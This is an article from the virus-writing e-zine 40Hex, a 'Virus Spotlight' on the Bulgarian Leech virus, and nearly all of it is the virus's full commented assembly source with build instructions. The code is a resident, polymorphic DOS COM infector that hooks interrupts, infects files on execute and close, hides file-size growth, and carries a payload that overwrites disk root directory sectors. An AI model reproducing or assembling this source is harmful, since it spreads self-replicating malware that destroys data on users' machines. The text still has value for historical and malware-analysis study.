40Hex Issue 11 Volume 3 Number 2                                      File 005

                          Virus Spotlight on: Leech

     This month's virus is a Bulgarian creation known as Leech.  It is mildly
polymorphic, implementing a simple code swapping algorithm.  It infects on
file executes and file closes.  The infections upon file closes is especially
noteworthy; look closely at the manipulation of the system file table (and see
the related article in this issue of 40Hex for more details).  This resident,
COM-specific infector also hides file length increases, although the stupid
CHKDSK error will occur.

                                               -- Dark Angel
                                                  Phalcon/Skism
-------------------------------------------------------------------------------
                .model  tiny
                .code
                org     0
; Leech virus
; Disassembly by Dark Angel of Phalcon/Skism
; Assemble with Tasm /m Leech.asm

virlength       =       (readbuffer - leech)
reslength       =       (((encrypted_file - leech + 15) / 16) + 2)

leech:
                jmp     short enter_leech

filesize        dw      offset carrier
oldint21        dw      0, 0
oldint13        dw      0, 0
oldint24        dw      0, 0
datestore       dw      0
timestore       dw      0
runningflag     db      1
evenodd         dw      0

enter_leech:
                call    next
next:
                pop     si
mutatearea1:
                cli
                push    ds                      ; Why?
                pop     es
                mov     bp,sp                   ; save sp
                mov     sp,si                   ; sp = offset next
                add     sp,encrypt_value1 - 1 - next
mutatearea2:
                mov     cx,ss                   ; save ss
                mov     ax,cs
                mov     ss,ax                   ; ss = PSP
                pop     bx                      ; get encryption value
                dec     sp
                dec     sp
                add     si,startencrypt - next
                nop
decrypt:
mutatearea3:
                pop     ax
                xor     al,bh                   ; decrypt away!
                push    ax
                dec     sp
                cmp     sp,si
                jae     decrypt
startencrypt:
                mov     ax,es
                dec     ax
                mov     ds,ax                   ; ds->MCB
                db      81h,6,3,0               ;add word ptr ds:[3],-reslength
                dw      0 - reslength
                mov     bx,ds:[3]               ; bx = memory size
                mov     byte ptr ds:[0],'Z'     ; mark end of chain
                inc     ax                      ; ax->PSP
                inc     bx
                add     bx,ax                   ; bx->high area
                mov     es,bx                   ; as does es
                mov     ss,cx                   ; restore ss
                add     si,leech - startencrypt
                mov     bx,ds                   ; save MCB segment
                mov     ds,ax
                mov     sp,bp                   ; restore sp
                push    si
                xor     di,di
                mov     cx,virlength            ; 1024 bytes
                cld
                rep     movsb
                pop     si
                push    bx
                mov     bx,offset highentry
                push    es
                push    bx
                retf                            ; jmp to highentry in
                                                ; high memory
highentry:
                mov     es,ax                   ; es->PSP
                mov     ax,cs:filesize
                add     ax,100h                 ; find stored area
                mov     di,si
                mov     si,ax
                mov     cx,virlength
                rep     movsb                   ; and restore over virus code
                pop     es                      ; MCB
                xor     ax,ax
                mov     ds,ax                   ; ds->interrupt table
                sti
                cmp     word ptr ds:21h*4,offset int21 ; already resident?
                jne     go_resident
                db      26h,81h,2eh,3,0         ;sub word ptr es:[3],-reslength
                dw      0 - reslength           ; alter memory size
                test    byte ptr ds:[46Ch],0E7h ; 1.17% chance of activation
                jnz     exit_virus
                push    cs
                pop     ds
                mov     si,offset message
display_loop:                                   ; display ASCIIZ string
                lodsb                           ; get next character
                or      al,0                    ; exit if 0
                jz      exit_display_loop
                mov     ah,0Eh                  ; otherwise write character
                int     10h

                jmp     short display_loop
exit_display_loop:
                mov     ah,32h                  ; Get DPB -> DS:BX
                xor     dl,dl
                int     21h
                jc      exit_virus              ; exit on error

                call    getint13and24
                call    setint13and24
                mov     dx,[bx+10h]             ; first sector of root
                                                ; directory
                                                ; BUG: won't work in DOS 4+
                mov     ah,19h                  ; default drive -> al
                int     21h

                mov     cx,2                    ; overwrite root directory
                int     26h

                pop     bx
                call    setint13and24           ; restore int handlers
exit_virus:
                jmp     returnCOM
go_resident:
                db      26h, 81h, 6, 12h, 0     ;add word ptr es:12h,-reslength
                dw      0 - reslength           ; alter top of memory in PSP
                mov     bx,ds:46Ch              ; BX = random #
                push    ds
                push    cs
                pop     ds
                push    cs
                pop     es
                mov     runningflag,1           ; reset flag
                and     bh,80h
                mov     nothing1,bh
mutate1:
                test    bl,1
                jnz     mutate2
                mov     si,offset mutatearea1
                add     si,evenodd
                lodsb
                xchg    al,[si]                 ; swap instructions
                mov     [si-1],al
mutate2:
                test    bl,2
                jnz     mutate3
                mov     si,offset mutatearea2
                add     si,evenodd
                lodsw
                xchg    ax,[si]                 ; swap instructions
                mov     [si-2],ax
mutate3:
                test    bl,4
                jnz     mutate4
                mov     si,offset mutatearea3
                mov     al,2
                xor     [si],al                 ; flip between ax & dx
                xor     [si+2],al
                xor     [si+3],al
mutate4:
                test    bl,8
                jnz     findint21
                mov     si,offset next
                mov     di,offset readbuffer
                mov     cx,offset enter_leech
                push    si
                push    di
                lodsb
                cmp     al,5Eh                  ; 1 byte pop si?
                je      now_single_byte_encode
                inc     si                      ; skip second byte of two
                                                ; byte encoding of pop si
now_single_byte_encode:
                push    cx
                rep     movsb
                pop     cx
                pop     si
                pop     di
                cmp     al,5Eh                  ; 1 byte pop si?
                je      encode_two_bytes        ; then change to 2
                mov     al,5Eh                  ; encode a pop si
                stosb
                rep     movsb                   ; then copy decrypt over
                mov     al,90h                  ; plus a nop to keep virus
                stosb                           ; length constant
                xor     ax,ax                   ; clear the flag
                jmp     short set_evenodd_flag
encode_two_bytes:
                mov     ax,0C68Fh               ; encode a two byte form of
                stosw                           ; pop si
                rep     movsb
                mov     ax,1                    ; set evenodd flag
set_evenodd_flag:
                mov     cs:evenodd,ax
findint21:
                mov     ah,30h                  ; Get DOS version
                int     21h

                cmp     ax,1E03h                ; DOS 3.30?
                jne     notDOS33

                mov     ah,34h                  ; Get DOS critical error ptr
                int     21h

                mov     bx,1460h                ; int 21h starts here
                jmp     short alterint21
notDOS33:
                mov     ax,3521h                ; just get current int 21 handler
                int     21h
alterint21:
                mov     oldint21,bx
                mov     word ptr ds:oldint21+2,es
                mov     si,21h*4                ; save old int 21 handler
                pop     ds                      ; found in interrupt table
                push    si
                push    cs
                pop     es
                mov     di,offset topint21
                movsw
                movsw
                pop     di                      ; and put new one in
                push    ds
                pop     es
                mov     ax,offset int21
                stosw
                mov     ax,cs
                stosw

                mov     di,offset startencrypt
                mov     al,cs:encrypt_value1     ; decrypt original program code
decryptcode:
                xor     cs:[di],al
                inc     di
                cmp     di,offset decryptcode
                jb      decryptcode
returnCOM:
                mov     ah,62h                  ; Get current PSP
                int     21h

                push    bx                      ; restore segment registers
                mov     ds,bx
                mov     es,bx
                mov     ax,100h
                push    ax
                retf                            ; Return to PSP:100h

infect:
                push    si
                push    ds
                push    es
                push    di
                cld
                push    cs
                pop     ds
                xor     dx,dx                   ; go to start of file
                call    movefilepointer
                mov     dx,offset readbuffer    ; and read 3 bytes
                mov     ah,3Fh
                mov     cx,3
                call    callint21
                jc      exiterror

                xor     di,di
                mov     ax,readbuffer
                mov     cx,word ptr ds:[0]
                cmp     cx,ax                   ; check if already infected
                je      go_exitinfect
                cmp     al,0EBh                 ; jmp short?
                jne     checkifJMP
                mov     al,ah
                xor     ah,ah
                add     ax,2
                mov     di,ax                   ; di = jmp location
checkifJMP:
                cmp     al,0E9h                 ; jmp?
                jne     checkifEXE              ; nope
                mov     ax,word ptr readbuffer+1
                add     ax,3
                mov     di,ax                   ; di = jmp location
                xor     ax,ax
checkifEXE:
                cmp     ax,'MZ'
                je      exiterror
                cmp     ax,'ZM'
                jne     continue_infect
exiterror:
                stc
go_exitinfect:
                jmp     short exitinfect
                nop
continue_infect:
                mov     dx,di
                push    cx
                call    movefilepointer         ; go to jmp location
                mov     dx,virlength            ; and read 1024 more bytes
                mov     ah,3Fh
                mov     cx,dx
                call    callint21
                pop     cx
                jc      exiterror
                cmp     readbuffer,cx
                je      go_exitinfect
                mov     ax,di
                sub     ah,0FCh
                cmp     ax,filesize
                jae     exiterror
                mov     dx,filesize
                call    movefilepointer
                mov     dx,virlength            ; write virus to middle
                mov     cx,dx                   ; of file
                mov     ah,40h
                call    callint21
                jc      exitinfect
                mov     dx,di
                call    movefilepointer
                push    cs
                pop     es
                mov     di,offset readbuffer
                push    di
                push    di
                xor     si,si
                mov     cx,di
                rep     movsb
                mov     si,offset encrypt_value2
                mov     al,encrypted_file
encryptfile:                                    ; encrypt infected file
                xor     [si],al
                inc     si
                cmp     si,7FFh
                jb      encryptfile
                pop     cx
                pop     dx
                mov     ah,40h                  ; and write it to end of file
                call    callint21
exitinfect:
                pop     di
                pop     es
                pop     ds
                pop     si
                retn

int21:
                cmp     ax,4B00h                ; Execute?
                je      execute
                cmp     ah,3Eh                  ; Close?
                je      handleclose
                cmp     ah,11h                  ; Find first?
                je      findfirstnext
                cmp     ah,12h                  ; Find next?
                je      findfirstnext
exitint21:
                db      0EAh                    ; jmp far ptr
topint21        dw      0, 0

findfirstnext:
                push    si
                mov     si,offset topint21
                pushf
                call    dword ptr cs:[si]       ; call int 21 handler
                pop     si
                push    ax
                push    bx
                push    es
                mov     ah,2Fh                  ; Get DTA
                call    callint21
                cmp     byte ptr es:[bx],0FFh   ; extended FCB?
                jne     noextendedFCB
                add     bx,7                    ; convert to normal
noextendedFCB:
                mov     ax,es:[bx+17h]          ; Get time
                and     ax,1Fh                  ; and check infection stamp
                cmp     ax,1Eh
                jne     exitfindfirstnext
                mov     ax,es:[bx+1Dh]
                cmp     ax,virlength * 2 + 1    ; too small for infection?
                jb      exitfindfirstnext       ; then not infected
                sub     ax,virlength            ; alter file size
                mov     es:[bx+1Dh],ax
exitfindfirstnext:
                pop     es
                pop     bx
                pop     ax
                iret

int24:
                mov     al,3
                iret

callint21:
                pushf
                call    dword ptr cs:oldint21
                retn

movefilepointer:
                xor     cx,cx
                mov     ax,4200h
                call    callint21
                retn

execute:
                push    ax
                push    bx
                mov     cs:runningflag,0
                mov     ax,3D00h                ; open file read/only
                call    callint21
                mov     bx,ax
                mov     ah,3Eh                  ; close file
                int     21h                     ; to trigger infection

                pop     bx
                pop     ax
go_exitint21:
                jmp     short exitint21

handleclose:
                or      cs:runningflag,0        ; virus currently active?
                jnz     go_exitint21
                push    cx
                push    dx
                push    di
                push    es
                push    ax
                push    bx
                call    getint13and24
                call    setint13and24
; convert handle to filename
                mov     ax,1220h                ; get job file table entry
                int     2Fh
                jc      handleclose_noinfect    ; exit on error

                mov     ax,1216h                ; get address of SFT
                mov     bl,es:[di]
                xor     bh,bh
                int     2Fh                     ; es:di->file entry in SFT

                mov     ax,es:[di+11h]
                mov     cs:filesize,ax          ; save file size,
                mov     ax,es:[di+0Dh]
                and     al,0F8h
                mov     cs:timestore,ax         ; time,
                mov     ax,es:[di+0Fh]
                mov     cs:datestore,ax         ; and date
                cmp     word ptr es:[di+29h],'MO' ; check for COM extension
                jne     handleclose_noinfect
                cmp     byte ptr es:[di+28h],'C'
                jne     handleclose_noinfect
                cmp     cs:filesize,0FA00h      ; make sure not too large
                jae     handleclose_noinfect
                mov     al,20h                  ; alter file attribute
                xchg    al,es:[di+4]
                mov     ah,2                    ; alter open mode to read/write
                xchg    ah,es:[di+2]
                pop     bx
                push    bx
                push    ax
                call    infect
                pop     ax
                mov     es:[di+4],al            ; restore file attribute
                mov     es:[di+2],ah            ; and open mode
                mov     cx,cs:timestore
                jc      infection_not_successful
                or      cl,1Fh                  ; make file infected in
                and     cl,0FEh                 ; seconds field
infection_not_successful:
                mov     dx,cs:datestore         ; restore file time/date
                mov     ax,5701h
                call    callint21
handleclose_noinfect:
                pop     bx
                pop     ax
                pop     es
                pop     di
                pop     dx
                pop     cx
                call    callint21
                call    setint13and24
                retf    2                       ; exit with flags intact

getint13and24:
                mov     ah,13h                  ; Get BIOS int 13h handler
                int     2Fh
                mov     cs:oldint13,bx
                mov     cs:oldint13+2,es

                int     2Fh                     ; Restore it

                mov     cs:oldint24,offset int24
                mov     cs:oldint24+2,cs
                retn

setint13and24:
                push    ax
                push    si
                push    ds
                pushf
                cli
                cld
                xor     ax,ax
                mov     ds,ax                   ; ds->interrupt table

                mov     si,13h*4
                lodsw
                xchg    ax,cs:oldint13          ; replace old int 13 handler
                mov     [si-2],ax               ; with original BIOS handler
                lodsw
                xchg    ax,cs:oldint13+2
                mov     [si-2],ax

                mov     si,24h*4                ; replace old int 24 handler
                lodsw                           ; with our own handler
                xchg    ax,cs:oldint24
                mov     [si-2],ax
                lodsw
                xchg    ax,cs:oldint24+2
                mov     [si-2],ax
                popf
                pop     ds
                pop     si
                pop     ax
                retn

message         db      'The leech live ...', 0
                db      'April 1991  The Topler.'

                db      0, 0, 0, 0, 0

encrypt_value1  db      0
readbuffer      dw      0
                db      253 dup (0)

nothing1        db      0
                db      152 dup (0)
encrypt_value2  db      0
                db      614 dup (0)
encrypted_file  db      0
                db      1280 dup (0)
carrier:
                dw      20CDh

                end     leech
-------------------------------------------------------------------------------


